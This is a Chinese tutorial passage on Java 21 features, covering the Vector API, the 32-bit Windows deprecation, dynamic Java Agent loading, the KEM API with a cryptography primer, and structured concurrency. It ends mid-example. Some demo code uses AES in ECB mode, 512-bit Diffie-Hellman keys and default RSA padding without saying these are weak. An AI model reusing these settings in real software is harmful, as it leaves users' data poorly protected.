数组中的每个元素将使用(大致)1 个 CPU 指令进行计算,这意味着我们需要 4 个指令或 4 个 CPU 周期才能完成计算,这就是典型的 SISD。而使用向量 API 可以将向量的计算编译为对应 CPU 架构上的 SIMD 指令集,只要 1 个指令即可完成向量计算:
在实际应用中,许多现代处理器都支持 SIMD 指令集,如 Intel 的 MMX、SSE 和 AVX,ARM 的 NEON 和 SVE 等,这些指令集能够显著提升程序的执行效率,特别是在需要大量数值计算的场景下。不过使用这些指令集的门槛并不低,通常涉及到汇编语言或一些特殊的函数库,比如 Intel 的跨平台函数库 IPP(Integrated Performance Primitives) 或使用 内置函数 (Intrinsic function) 等。
相比于传统的手写 SIMD 代码,Java 的向量 API 提供了更高的可读性和维护性,开发者可以使用熟悉的 Java 语法和类型系统,无需处理底层寄存器和指令,编写出简洁明了的、平台无关的、高性能的向量计算代码。
其实,在向量 API 提出之前,Java 已经在 SIMD 上探索了很长一段时间了,比如 HotSpot 的 自动向量化(Auto-Vectorization) 功能,它将标量操作转换为 超字操作(SuperWord Operations),然后再映射到 SIMD 指令。然而,这个过程完全依赖 JIT,并没有什么可靠的方法来保证编写的代码一定可以使用 SIMD 指令优化,有些代码甚至根本无法进行优化,开发人员必须深入了解 HotSpot 的自动向量化算法及其限制,才能实现可靠的性能提升。向量 API 使得这个过程完全由开发人员自己控制,因此可以写出更加可预测、更加稳健的代码。
我们可以通过
-XX:-UseSuperWord
参数关闭 HotSpot 的自动向量化功能。
在学习了向量的基础知识之后,接下来我们将继续深入学习向量 API 的使用。
上面介绍向量计算时,我们已经学习了向量 API 的基本用法,使用 IntVector
实现两个向量相加。这个示例为了易于理解,做了简单处理,并没有考虑在实际使用时的边界情况,假设我们将 a
和 b
两个数组改成 10 个数字:
int[] a = new int[] {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
int[] b = new int[] {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
IntVector aVector = IntVector.fromArray(IntVector.SPECIES_128, a, 0);
IntVector bVector = IntVector.fromArray(IntVector.SPECIES_128, b, 0);
IntVector cVector = aVector.add(bVector);
运行后得到的结果 c
仍然是 [2, 4, 6, 8]
,后面新加的数字并没有计算。这是因为每个向量的存储空间有限,并不能一次存下所有的数据。这里涉及向量 API 的一个重要概念:向量种类(Vector Species),它是 数据类型(Data Types) 和 向量形状(Vector Shapes) 的组合;所谓数据类型就是 Java 的基础类型,比如 byte、short、int、long 这些整数类型和 float、double 浮点类型,而所谓向量形状就是向量的位大小或位数;比如这里的向量种类为 IntVector.SPECIES_128
,它代表数据类型为 int,向量形状为 128 位;而我们知道,一般情况下 int 值的大小为 32 位,所以这个向量一次只能存储 128/32 = 4
个 int 值,这也被形象地称为 通道(Lanes),表示向量一次可以处理的数据个数。
知道这一点后,我们就可以写出更加通用的向量计算代码了。首先我们需要将数据按通道数分组,然后一组一组的进行处理:
int[] a = new int[] {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
int[] b = new int[] {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
int[] c = new int[10];
int lanes = IntVector.SPECIES_128.length();
int loopBound = IntVector.SPECIES_128.loopBound(a.length);
for (int i = 0; i < loopBound; i += lanes) {
IntVector aVector = IntVector.fromArray(IntVector.SPECIES_128, a, i);
IntVector bVector = IntVector.fromArray(IntVector.SPECIES_128, b, i);
IntVector cVector = aVector.add(bVector);
cVector.intoArray(c, i);
}
for (int i = loopBound; i < a.length; i++) {
c[i] = a[i] + b[i];
}
IntStream.of(c).forEach(x -> System.out.println(x));
我们可以注意到,在遍历时 i 每次增加 lanes
,它的值等于 IntVector.SPECIES_128.length()
,也就是通道数,一般来说该值等于 4,所以我们是按 4 个一组进行处理的。但是要注意数据不一定能被通道数完全整除,比如这里 10 个数字,前 8 个可以分为两组处理掉,还剩下 2 个怎么办呢?这时我们只能使用最原始的标量计算来处理了。
此外,在实际编码时向量种类不建议写死,可以使用 IntVector.SPECIES_PREFERRED
替代,它会根据平台自动选择最合适的向量种类:
static final VectorSpecies<Integer> SPECIES = IntVector.SPECIES_PREFERRED;
可以看出尽管向量 API 的使用有不少好处,但是我们也需要谨慎对待:
这个特性比较简单。随着 64 位架构的普及,32 位操作系统逐渐被淘汰,比如微软从 Windows 10 开始就只提供 64 位版本了,Windows 10 将是最后一个支持 32 位的 Windows 操作系统,而且 2025 年 10 月后将不再支持。
64 位架构相比于 32 位,在性能和安全方面都有巨大的提升。比如 64 位架构可以提供更大的内存地址空间,从而提高应用程序的性能和扩展性,同时它也引入了更多的保护机制,提高了应用程序的安全性。
但由于架构的差异,同时兼容 32 位和 64 位需要不少的维护成本,很多 Java 的新特性已经不支持 32 位系统了,比如虚拟线程,所以弃用 32 位势在必行。
在 Windows 32-bit x86 系统下构建 Java 21 的源码将报如下错误:
$ bash ./configure
...
checking compilation type... native
configure: error: The Windows 32-bit x86 port is deprecated and may be removed in a future release. \
Use --enable-deprecated-ports=yes to suppress this error.
configure exiting with result code 1
$
暂时可以通过 --enable-deprecated-ports=yes
参数来解决:
$ bash ./configure --enable-deprecated-ports=yes
Java Agent 通常被直译为 Java 代理,它是一个 jar 包,这个 jar 包很特别,不能独立运行,而是要依附到我们的目标 JVM 进程中。它利用 JVM 提供的 Instrumentation API 来修改已加载到 JVM 中的字节码,从而实现很多高级功能,比如:
为了对 Java Agent 的概念有一个更直观的认识,我们从一个简单的示例入手,从零开始实现一个 Java Agent。先创建如下目录结构:
├── pom.xml
└── src
└── main
├── java
│ └── com
│ └── example
│ └── AgentDemo.java
└── resources
└── META-INF
└── MANIFEST.MF
包含三个主要文件:
pom.xml
- Maven 项目的配置文件AgentDemo.java
- Java Agent 的入口类MANIFEST.MF
- 元数据文件,用于描述打包的 JAR 文件中的各种属性和信息Java Agent 的入口类定义如下:
package com.example;
import java.lang.instrument.Instrumentation;
public class AgentDemo {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("premain");
}
}
我们知道,常规 Java 程序的入口方法是 main
函数,而 Java Agent 的入口方法是 premain
函数。其中,String agentArgs
是传递给 Agent 的参数,比如当我们运行 java -javaagent:agent-demo.jar=some-args app.jar
命名时,参数 agentArgs
的值就是字符串 some-args
;另一个参数 Instrumentation inst
是 JVM 提供的修改字节码的接口,我们可以通过这个接口定位到希望修改的类并做出修改。
Instrumentation API 是 Java Agent 的核心,它可以在加载 class 文件之前做拦截,对字节码做修改(
addTransformer
),也可以在运行时对已经加载的类的字节码做变更(retransformClasses
或redefineClasses
);Instrumentation 的英文释义是插桩或植入,所以这个操作又被称为 字节码插桩,由于这个操作非常的底层,一般会配合一些字节码修改的库,比如 ASM、Javassist、Byte Buddy 等。关于 Instrumentation API 是一个较为艰深复杂的话题,本文为简单起见,没有深入展开,感兴趣的同学可以自行查找相关资料。
有了 Java Agent 的入口类之后,我们还需要告诉 JVM 这个入口类的位置,可以在 MANIFEST.MF
元数据文件中通过 Premain-Class
参数来描述:
Premain-Class: com.example.AgentDemo
打包的时候,要注意将 MANIFEST.MF
文件一起打到 jar 包里,这可以通过打包插件 maven-assembly-plugin
来实现:
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.6.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
</archive>
</configuration>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
最后,执行 mvn clean package
打包命令,生成 target/agent-demo-1.0-SNAPSHOT-jar-with-dependencies.jar
文件,我们就得到了一个最简单的 Java Agent 了。
Java Agent 最常见的使用方式是在运行 java
命令时通过 -javaagent
参数指定要加载的 Agent 文件:
$ java -javaagent:agent-demo-1.0-SNAPSHOT-jar-with-dependencies.jar Hello.java
这种方式被称为 静态加载(static loading)。在这种情况下,Java Agent 和应用程序一起启动,并在运行主程序的 main
方法之前先调用 Java Agent 的 premain
方法,下面是程序的运行结果:
premain
Hello
既然有静态加载,自然就有动态加载。动态加载(dynamic loading) 指的是将 Java Agent 动态地加载到已运行的 JVM 进程中,当我们不希望中断生产环境中已经运行的应用程序时,这个特性非常有用。
我们先正常启动一个 Java 应用程序:
$ java Hello.java
Hello
通过 jps
得到该程序的 PID,然后使用 Java 的 Attach API 附加(attach) 到该程序上:
String pidOfOtherJVM = "3378";
VirtualMachine vm = VirtualMachine.attach(pidOfOtherJVM);
附加成功后得到 VirtualMachine
实例,VirtualMachine
提供了一个 loadAgent()
方法用于动态加载 Java Agent:
File agentJar = new File("/com.docker.devenvironments.code/agent-demo-1.0-SNAPSHOT-jar-with-dependencies.jar");
vm.loadAgent(agentJar.getAbsolutePath());
// do other works
vm.detach();
查看应用程序的日志,可以发现如下报错:
Failed to find Agent-Class manifest attribute from /com.docker.devenvironments.code/agent-demo.jar
这是因为目前我们这个 Java Agent 还不支持动态加载,动态加载的入口并不是 premain
函数,而是 agentmain
函数,我们在 AgentDemo
类中新增代码如下:
...
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("agentmain");
}
...
并在 MANIFEST.MF
文件中新增 Agent-Class
参数:
Agent-Class: com.example.AgentDemo
重新打包,并再次动态加载,可以在应用程序中看到日志如下:
WARNING: A Java agent has been loaded dynamically (/com.docker.devenvironments.code/agent-demo-1.0-SNAPSHOT-jar-with-dependencies.jar)
WARNING: If a serviceability tool is in use, please run with -XX:+EnableDynamicAgentLoading to hide this warning
WARNING: If a serviceability tool is not in use, please run with -Djdk.instrument.traceUsage for more information
WARNING: Dynamic loading of agents will be disallowed by default in a future release
agentmain
可以看到 agentmain
函数被成功执行,动态加载生效了。
在上面的应用程序日志中,我们可以看到几行 WARNING 提示,这其实就是 Java 21 引入的新内容了,当 JVM 检测到有 Java Agent 被动态加载,就会打印这几行警告信息,告知用户动态加载机制将在未来的版本中默认禁用。如果不想看到这样的日志,可以在启动应用程序时加上 -XX:+EnableDynamicAgentLoading
选项:
$ java -XX:+EnableDynamicAgentLoading Hello.java
那么 Java 21 为什么要禁用 Java Agent 的动态加载呢?这就要提到 Java 所追求的 Integrity by Default 原则了。Integrity 一般被翻译为 完整性,片面的理解就是要保证我们程序中的任何内容,包括数据或代码都是完整的、没有被篡改的。而 Instrumentation API 通过修改已加载到 JVM 中的字节码来改变现有应用程序,在不更改源代码的情况下改变应用程序的行为。当我们静态加载 Java Agent 时,这并不是什么大问题,因为这是用户明确且有意的使用;然而,动态加载则是间接的,它超出了用户的控制范围,可能对用户的应用程序造成严重破坏,很显然并不符合完整性原则。
因此,作为应用程序的所有者,必须有意识地、明确地决定允许和加载哪些 Java Agent:要么使用静态加载,要么通过 -XX:+EnableDynamicAgentLoading
选项允许动态加载。
密钥封装(Key Encapsulation) 是一种现代加密技术,它使用非对称或公钥加密来保护对称密钥。传统的做法是使用公钥加密随机生成的对称密钥,但这需要 填充(Paddings) 并且难以证明安全,密钥封装机制(Key Encapsulation Mechanism,KEM) 另辟蹊径,使用公钥的属性来推导相关的对称密钥,不需要填充。
KEM 的概念是由 Crammer 和 Shoup 在 Design and Analysis of Practical Public-Key Encryption Schemes Secure against Adaptive Chosen Ciphertext Attack 这篇论文中提出的,后来 Shoup 将其提议为 ISO 标准,并于 2006 年 5 月接受并发布为 ISO 18033-2。
经过多年的发展,KEM 已经在多个密码学领域有所应用:
Java 平台中现有的加密 API 都无法以自然的方式表示 KEM,第三方安全提供商的实施者已经表达了对标准 KEM API 的需求。于是,Java 21 引入了一种新的 KEM API,使应用程序能够自然且方便地使用 KEM 算法。
上面对 KEM 的描述中涉及大量现代密码学的概念,为了对 KEM 有一个更直观的认识,我们不妨快速浏览一遍密码学的发展历史。
我们经常会在各种讲述一二战的谍战片中看到破译电报的片段,当时使用的密码算法在现在看来是非常简单的,几乎所有的密码系统使用的都是 对称加密(Symmetric Cryptography) 算法,也就是说使用相同的密钥进行消息的加密与解密,因为这个特性,我们也称这个密钥为 共享密钥(Shared Secret Key)。
常见的对称加密算法有:DES、3DES、AES、Salsa20 / ChaCha20、Blowfish、RC6、Camelia 等。
其中绝大多数都是 块密码算法(Block Cipher) 或者叫 分组密码算法,这种算法一次只能加密固定大小的块(例如 128 位);少部分是 流密码算法(Stream Cipher),流密码算法将数据逐字节地加密为密文流。为了实现加密任意长度的数据,我们通常需要将分组密码算法转换为流密码算法,这被称为 分组密码的工作模式,常用的工作模式有:ECB(电子密码本)、CBC(密码块链接)、CTR(计数器)、CFB(密文反馈模式)、OFB(输出反馈模式)、GCM(伽罗瓦/计数器模式)) 等。
分组密码的工作模式其背后的主要思想是把明文分成多个长度固定的组,再在这些分组上重复应用分组密码算法,以实现安全地加密或解密任意长度的数据。某些分组模式(如 CBC)要求将输入拆分为分组,并使用填充算法(例如添加特殊填充字符)将最末尾的分组填充到块大小,也有些分组模式(如 CTR、CFB、OFB、CCM、EAX 和 GCM)根本不需要填充,因为它们在每个步骤中,都直接在明文部分和内部密码状态之间执行异或(XOR)运算。
因此我们在使用对称加密时,往往要指定 工作模式(Modes) 和 填充模式(Paddings) 这两个参数,下面是使用 Java 标准库提供的接口实现 AES 加密和解密的示例:
private static void testAES() throws Exception {
// 1. 生成对称密钥
KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
keyGenerator.init(new SecureRandom());
Key secretKey = keyGenerator.generateKey();
// 1. 使用固定密钥:128 位密钥 = 16 字节
// SecretKey secretKey = new SecretKeySpec("1234567890abcdef".getBytes(), "AES");
// 2. 加密
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
byte[] encrypted = cipher.doFinal("hello".getBytes());
// 3. 解密
cipher.init(Cipher.DECRYPT_MODE, secretKey);
byte[] decrypted = cipher.doFinal(encrypted);
System.out.println(new String(decrypted));
}
我们首先通过 KeyGenerator
生成一个对称密钥(也可以直接使用 SecretKeySpec
来定义一个固定的密钥,但是要注意密钥的长度),然后通过 算法名称/工作模式/填充模式
来获取一个 Cipher
实例,这里使用的是 AES 算法,ECB 分组模式以及 PKCS5Padding 填充模式,关于其他算法和模式可参考 Java Security Standard Algorithm Names。得到 Cipher
实例后,就可以对数据进行加密和解密,可以看到,这里加密和解密使用的是同一个密钥。
对称加密算法的问题有两点:
综上,对称加密会导致巨大的 密钥交换 跟 密钥保存与管理 的成本。
为了解决对称加密存在的两大问题,密码学家们前仆后继,想出了各种各样的算法,其中最关键的一个是 Whitfield Diffie 和 Martin Hellman 在 1976 年公开发表的一种算法,也就是现在广为人知的 Diffie–Hellman 密钥交换(Diffie–Hellman Key Exchange,DHKE) 算法。
上图是经典 DHKE 协议的整个过程,其基本原理涉及到数学中的 模幂(Modular Exponentiations) 和 离散对数(Discrete Logarithms) 的知识。
模幂是指求 g
的 a
次幂模 p
的值,其中 g
a
p
均为整数,公式如下:
A = (g^a) mod p
而离散对数是指在已知 g
p
和模幂值 A
的情况下,求幂指数 a
的逆过程。
我们通过将 p
设置为一个非常大的质数,使用计算机计算上述模幂的值是非常快的,但是求离散对数却非常困难,这也就是所谓的 离散对数难题(Discrete Logarithm Problem,DLP)。
在 DHKE 协议中,Alice 和 Bob 首先约定好两个常数 g
和 p
,这两个数所有人都可见。然后他们分别生成各自的私钥 a
和 b
,这两个值各自保存,不对外公开。他们再分别使用各自的私钥计算出模幂 A
和 B
,这两个值就是他们的公钥:
A = (g^a) mod p
B = (g^b) mod p
接着,Alice 将 A
发送给 Bob,Bob 将 B
发送给 Alice,接受到彼此的公钥之后,他们使用自己的私钥来计算模幂:
S1 = (B^a) mod p
S2 = (A^b) mod p
根据模幂的数学性质,我们可以得知 S1
和 S2
是相等的!
S1 = (B^a) mod p = (g^b)^a mod p = ( g^(b*a) ) mod p
S2 = (A^b) mod p = (g^a)^b mod p = ( g^(a*b) ) mod p
至此 Alice 和 Bob 就协商出了一个共享密钥,这个密钥可以在后续的通讯中作为对称密钥来加密通讯内容。可以看到,尽管整个密钥交换过程是公开的,但是任何窃听者都无法根据公开信息推算出密钥,这就是密钥交换协议的巧妙之处。
下面的代码演示了如何在 Java 中实现标准的 DHKE 协议:
private static void testKeyAgreement() throws Exception {
// 1. Alice 和 Bob 分别生成各自的密钥对
KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("DH");
keyPairGen.initialize(512);
KeyPair keyPairAlice = keyPairGen.generateKeyPair();
KeyPair keyPairBob = keyPairGen.generateKeyPair();
// 2. Alice 根据 Bob 的公钥协商出对称密钥
KeyAgreement keyAgreement = KeyAgreement.getInstance("DH");
keyAgreement.init(keyPairAlice.getPrivate());
keyAgreement.doPhase(keyPairBob.getPublic(), true);
byte[] secretKey1 = keyAgreement.generateSecret();
// 3. Bob 根据 Alice 的公钥协商出对称密钥
keyAgreement.init(keyPairBob.getPrivate());
keyAgreement.doPhase(keyPairAlice.getPublic(), true);
byte[] secretKey2 = keyAgreement.generateSecret();
// 4. 比较双方的密钥是否一致
System.out.println("Alice Secret key: " + HexFormat.of().formatHex(secretKey1));
System.out.println("Bob Secret key: " + HexFormat.of().formatHex(secretKey2));
}
这里首先通过 KeyPairGenerator
为 Alice 和 Bob 分别生成密钥对(密钥对中包含了一个私钥和一个公钥,也就是上文中的 a/b
和 A/B
),然后使用 KeyAgreement.getInstance("DH")
获取一个 KeyAgreement
实例,用于密钥协商,Alice 根据 Bob 的公钥协商出对称密钥 S1
,Bob 根据 Alice 的公钥协商出对称密钥 S2
,根据输出结果可以看到 S1
和 S2
是相等的。
从第一次世界大战、第二次世界大战到 1976 年这段时期密码的发展阶段,被称为 近代密码阶段。1976 年是密码学的一个分水岭,在 Whitfield Diffie 和 Martin Hellman 这篇论文 中,他们不仅提出了 DHKE 算法,还提出了 公钥密码学(Public- Key Cryptography) 的概念。
公钥密码学中最核心的部分是 非对称加密(Asymmetric Encryption) 算法,和 DHKE 算法类似,它也是基于两个不同的密钥来实现加密和解密,一个称为公钥,另一个称为私钥,其中公钥可以公开,任何人都能访问;但和 DHKE 不同的是,DHKE 中的公钥只是用于协商出一个对称密钥,用于后续通讯的加解密,而在非对称加密中,不需要密钥协商,消息的发送者可以直接使用接受者的公钥对数据进行加密,而加密后的数据只有私钥的持有者才能将其解密。
非对称加密算法的这种神奇特性,使得通讯双发不需要预先协商密钥,因此非常适合在多方通信中使用;也使得公钥密码学的概念很快就深入人心,它极大地推动了现代密码学的发展,为 数字签名 和 数字证书 提供了理论基础,特别是 公钥基础设施(PKI) 体系的建立,实现安全的身份验证和数据保护。
可以说,非对称加密是密码学领域一项划时代的发明,它宣告了近代密码阶段的终结,是现代密码学的起点。
最著名的非对称加密算法非 RSA 莫属,它是 1977 年由三位美国数学家 Ron Rivest、Adi Shamir 和 Leonard Adleman 共同设计的,这种算法以他们名字的首字母命名。RSA 算法涉及不少数论中的基础概念和定理,比如 互质、欧拉函数、模反元素、中国余数定理、费马小定理 等,网上有大量的文章介绍 RSA 算法原理,感兴趣的同学可以查阅相关的资料。
不过对于初学者来说,这些原理可能显得晦涩难懂,不妨玩一玩下面这个数学小魔术:
首先,让 A 任意想一个 3 位数,并把这个数乘以
91
,然后将积的末三位告诉 B,B 就可以猜出 A 想的是什么数字。比如 A 想的是123
,那么他就计算出123 * 91 = 11193
,并把结果的末三位193
告诉 B。那么 B 要怎么猜出对方的数字呢?其实很简单,只需要把对方说的数字再乘以11
,乘积的末三位就是 A 刚开始想的数了。可以验证一下,193 * 11 = 2123
,末三位正是对方所想的秘密数字!
这个小魔术的道理其实很简单,由于 91 * 11 = 1001
,而任何一个三位数乘以 1001
后,末三位显然都不变,例如 123 * 1001 = 123123
。
这个例子直观地展示了非对称加密算法的工作流程:A 和 B 可以看做消息的发送方和接受方,其中 91
是 B 的公钥,123
是 A 要发送的消息,123 * 91
就好比使用公钥加密,193
就是加密后的密文;而 11
是 B
的私钥,193 * 11
就是使用私钥解密。
RSA 算法的本质就是上面这套思想,只不过它不是简单的乘法计算,而是换成了更加复杂的指数和取模运算。
下面继续使用 Java 代码来实现 RSA 的加密和解密:
private static void testRSA() throws Exception {
// 1. Bob 生成密钥对
KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA");
keyPairGen.initialize(2048);
KeyPair keyPairBob = keyPairGen.generateKeyPair();
// 2. Alice 使用 Bob 的公钥加密数据
Cipher cipher1 = Cipher.getInstance("RSA");
cipher1.init(Cipher.ENCRYPT_MODE, keyPairBob.getPublic());
byte[] encrypted = cipher1.doFinal("hello".getBytes());
// 3. Bob 使用自己的私钥解密数据
Cipher cipher2 = Cipher.getInstance("RSA");
cipher2.init(Cipher.DECRYPT_MODE, keyPairBob.getPrivate());
byte[] decrypted = cipher2.doFinal(encrypted);
System.out.println(new String(decrypted));
}
这里的代码和对称加密如出一辙,都是先通过 Cipher.getInstance()
获取一个 Cipher
实例,然后再通过它对数据进行加密和解密;和对称加密不同的是,这里加密用的是 Bob 的公钥,而解密用的是 Bob 的私钥。
其实,根据非对称加密的性质,我们不仅可以 公钥加密,私钥解密,而且也可以 私钥加密,公钥解密,不过用私钥加密的信息所有人都能够用公钥解密,这看起来貌似没啥用,但是密码学家们却发现它大有用处,由于私钥加密的信息只能用公钥解密,也就意味着这个消息只能是私钥持有者发出的,其他人是不能伪造或篡改的,所以我们可以把它用作 数字签名,数字签名在数字证书等应用中。
除了 RSA 算法,还有一些其他重要的非对称加密算法,比如 Rabin 密码、ElGamal 密码 以及基于椭圆曲线的 ECC 密码(Elliptic Curve Cryptography) 等。
非对称加密算法的安全性,基本上都是由不同的数学难题保障的,比如:
这些数学难题暂时都没有好方法解决,所以这些非对称加密算法暂时仍然被认为是安全的;一旦这些数学难题被破解,那么这些加密算法就不再安全了。
近年来,随着 量子计算机 的不断发展,很多运行于量子计算机的量子算法被提出来,其中最著名的是数学家彼得·秀尔于 1994 年提出的 秀尔算法,可以在多项式时间内解决整数分解问题。
这也就意味着,如果攻击者拥有大型量子计算机,那么他可以使用秀尔算法解决整数分解问题,从而破解 RSA 算法。不仅如此,后来人们还发现,使用秀尔算法也可以破解离散对数和椭圆曲线等问题,这导致目前流行的公钥密码系统都是 量子不安全(quantum-unsafe) 的。如果人类进入量子时代,这些密码算法都将被淘汰。
密码学家们估算认为,破解 2048 位的 RSA 需要 4098 个量子比特与 5.2 万亿个托佛利门,目前还不存在建造如此大型量子计算机的科学技术,因此现有的公钥密码系统至少在未来十年(或更久)依然是安全的。尽管如此,密码学家已经积极展开了后量子时代的密码学研究,也就是 后量子密码学(Post-quantum Cryptography,PQC)。
目前已经有一些量子安全的公钥密码系统问世,但是由于它们需要更长的密钥、更长的签名等原因,并没有被广泛使用。这些量子安全的公钥密码算法包括:NewHope、NTRU、BLISS、Kyber 等,有兴趣的同学可以自行查阅相关文档。
非对称加密好处多多,既可以用来加密和解密,也可以用来签名和验证,而且还大大降低了密钥管理的成本。不过非对称加密也有不少缺点:
为了解决这些问题,现代密码学提出了 混合密码系统(Hybrid Cryptosystem) 或 混合公钥加密(Hybrid Public Key Encryption,HPKE) 的概念,将对称加密和非对称加密的优势相结合,好比同时装备电动机和发动机两种动力系统的混合动力汽车。发送者首先生成一个对称密码,使用这个对称密码来加密消息,然后使用接受者的公钥来加密对称密码;接受者首先使用自己的私钥解密出对称密码,然后再用对称密码解密消息。这里的对称密码也被称为 会话密钥(Session Key)。
下面的代码演示了 Alice 是如何利用 Bob 的公钥将一个 AES 对称密钥发送给 Bob 的:
private static void testRSA_AES() throws Exception {
// 1. Bob 生成密钥对
KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA");
keyPairGen.initialize(2048);
KeyPair keyPair = keyPairGen.generateKeyPair();
// 2. Alice 生成一个对称密钥
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(256);
SecretKey secretKey = keyGen.generateKey();
// 3. Alice 使用 Bob 的公钥加密对称密钥
Cipher cipher1 = Cipher.getInstance("RSA");
cipher1.init(Cipher.ENCRYPT_MODE, keyPair.getPublic());
byte[] secretKeyEncrypted = cipher1.doFinal(secretKey.getEncoded());
// 4. Bob 使用自己的私钥解密出对称密钥
Cipher cipher2 = Cipher.getInstance("RSA");
cipher2.init(Cipher.DECRYPT_MODE, keyPair.getPrivate());
byte[] secretKeyDecrypted = cipher2.doFinal(secretKeyEncrypted);
// 5. 比较双方的密钥是否一致
System.out.println("Alice Secret key: " + HexFormat.of().formatHex(secretKey.getEncoded()));
System.out.println("Bob Secret key: " + HexFormat.of().formatHex(secretKeyDecrypted));
}
可以看出,在混合密码系统中,非对称加密算法的作用和上文中的 DHKE 一样,只是用于密钥交换,并不用于加密消息,这和 DHKE 的工作原理几乎是一样的,所以严格来说,DHKE 也算是一种混合密码系统,只是两种密钥交换的实现不一样罢了。如何将会话密钥加密并发送给对方,就是 密钥封装机制(Key Encapsulation Mechanisms,KEM) 要解决的问题。
综上所述,密钥封装机制就是一种基于非对称加密的密钥交换技术,其主要目的是在不直接暴露私钥的情况下安全地传输会话密钥。
在 KEM 中,发起方运行一个封装算法产生一个会话密钥以及与之对应的 密钥封装消息(key encapsulation message),这个消息在 ISO 18033-2 中被称为 密文(ciphertext),随后发起方将密钥封装消息发送给接收方,接收方收到后,使用自己的私钥进行解封,从而获得相同的会话密钥。一个 KEM 由三部分组成:
其中第一步可以由现有的 KeyPairGenerator
API 完成,但是后两步 Java 中暂时没有合适的 API 来自然的表示,这就是 JEP 452 被提出的初衷。通过 密钥封装机制 API(KEM API) 可以方便的实现密钥封装和解封:
private static void testKEM() throws Exception {
// 1. Bob 生成密钥对
KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("X25519");
KeyPair keyPair = keyPairGen.generateKeyPair();
// 2. Alice 根据 Bob 的公钥生成一个 Encapsulated 对象,这个对象里包含了:
// * 共享密钥 shared secret
// * 密钥封装消息 key encapsulation message
// * 可选参数 optional parameters
// 然后 Alice 将密钥封装消息发送给 Bob
KEM kem1 = KEM.getInstance("DHKEM");
Encapsulator sender = kem1.newEncapsulator(keyPair.getPublic());
Encapsulated encapsulated = sender.encapsulate();
SecretKey k1 = encapsulated.key();
// 3. Bob 根据自己的私钥和 Alice 发过来的密钥封装消息,计算出共享密钥
KEM kem2 = KEM.getInstance("DHKEM");
Decapsulator receiver = kem2.newDecapsulator(keyPair.getPrivate());
SecretKey k2 = receiver.decapsulate(encapsulated.encapsulation());
// 4. 比较双方的密钥是否一致
System.out.println(Base64.getEncoder().encodeToString(k1.getEncoded()));
System.out.println(Base64.getEncoder().encodeToString(k2.getEncoded()));
}
从代码可以看出密钥封装机制和混合密码系统有点像,但是看起来要更简单一点,省去了使用 KeyGenerator.generateKey()
生成对称密钥的步骤,而是使用密钥封装算法直接给出,至于这个密钥封装算法可以抽象成任意的实现,可以是密钥生成算法,也可以是随机数算法。
从 Java 文档 中可以看到 KEM 算法暂时只支持 DHKEM 这一种。但是 KEM API 提供了 服务提供商接口(Service Provider Interface,SPI),允许安全提供商在 Java 代码或本地代码中实现自己的 KEM 算法,比如 RSA-KEM、ECIES-KEM、PSEC-KEM、PQC-KEM 等。
结构化并发(Structured Concurrency) 最初由 JEP 428 提出,并在 JDK 19 中作为孵化 API 发布,接着又在 JDK 20 中通过 JEP 437 再次孵化,现在该特性进入预览版本了。结构化并发是一种多线程编程方法,它将在不同线程中运行的相关任务组视为单个工作单元,从而简化错误处理和取消操作,提高程序的可靠性和可观察性。
结构化并发和虚拟线程、作用域值一样,都是由 Loom 项目发展而来。
那么到底什么是结构化并发呢?我们不妨从结构化编程的概念开始聊起。
计算机发展的早期,程序员必须使用很低级的编程语言去写程序,比如汇编语言,通过一条条的硬件指令去操作计算机,这种编程方式非常痛苦;于是一些计算机界大佬便开始着手重新设计编程语言,使用类似英语的语句来表达操作,这就诞生了一批比汇编语言稍微高级一点的编程语言,如 FORTRAN、FLOW-MATIC、COBOL 等。
这些语言和现在我们所使用的 Java 或者 C 等高级语言还是有一些差距的,没有函数代码块,没有条件或循环控制语句,这些现在看来稀松平常的特性当时还没有被发明出来。设想一下如果程序只能从上往下顺序执行,那么我们就不能复用之前已经编写过的逻辑,想要重新执行一遍之前的逻辑,就得把前面的代码重写一遍,很显然这是非常麻烦的,所以一些设计者在语言中加入了 GOTO
语句,可以让程序在执行时跳转到指定位置,从而实现代码复用。
GOTO
语句的发明使得编程语言变得更加强大,但是这种跳转执行的逻辑使得程序充满了不确定性,一旦程序中大量使用了 GOTO
语句,整个代码就会变得一团糟:
这种代码如同面条一般,所以被形象地戏称为 面条式代码(Spaghetti Code)。
1968 年 3 月,荷兰计算机科学家 Edsger W. Dijkstra 发表了一篇文章 Goto Statement Considered Harmful,提出了著名的 GOTO 有害论;后来,他又编写了一部札记 Notes on Structured Programming,通过大量的篇幅详细阐述了他理想中的编程范式,首次提出了 结构化编程(Structured Programming) 的概念。
结构化编程的核心思想是 基于块语句,实现代码逻辑的抽象与封装,从而保证控制流拥有单一的入口与出口,现代编程语言中的条件语句、循环语句、方法调用都是结构化编程的体现,我们基于现代编程语言所编写的程序,基本上都是结构化的。
相比 GOTO
语句,结构化编程使代码逻辑变得更加清晰,思维模型变得更加简单;如今,大部分现代编程语言都已经禁用 GOTO
语句,尽管 break
和 continue
语句仍然可以实现跳转逻辑,但是他们还是遵循结构化的基本原则:控制流拥有单一的入口与出口。
少部分编程语言仍然支持
GOTO
,但是它们大都遵循高德纳所提出的前进分支和后退分支不得交叉的原则。
了解了结构化编程的历史后,我们再来看看什么是结构化并发。假设我们有两个独立的任务 task1
和 task2
需要执行,由于它们之间互不影响,我们可以使用 ExecutorService
来并发执行:
private static void testExecutorService() throws Exception {
System.out.println("main thread start");
ExecutorService executor = Executors.newCachedThreadPool();
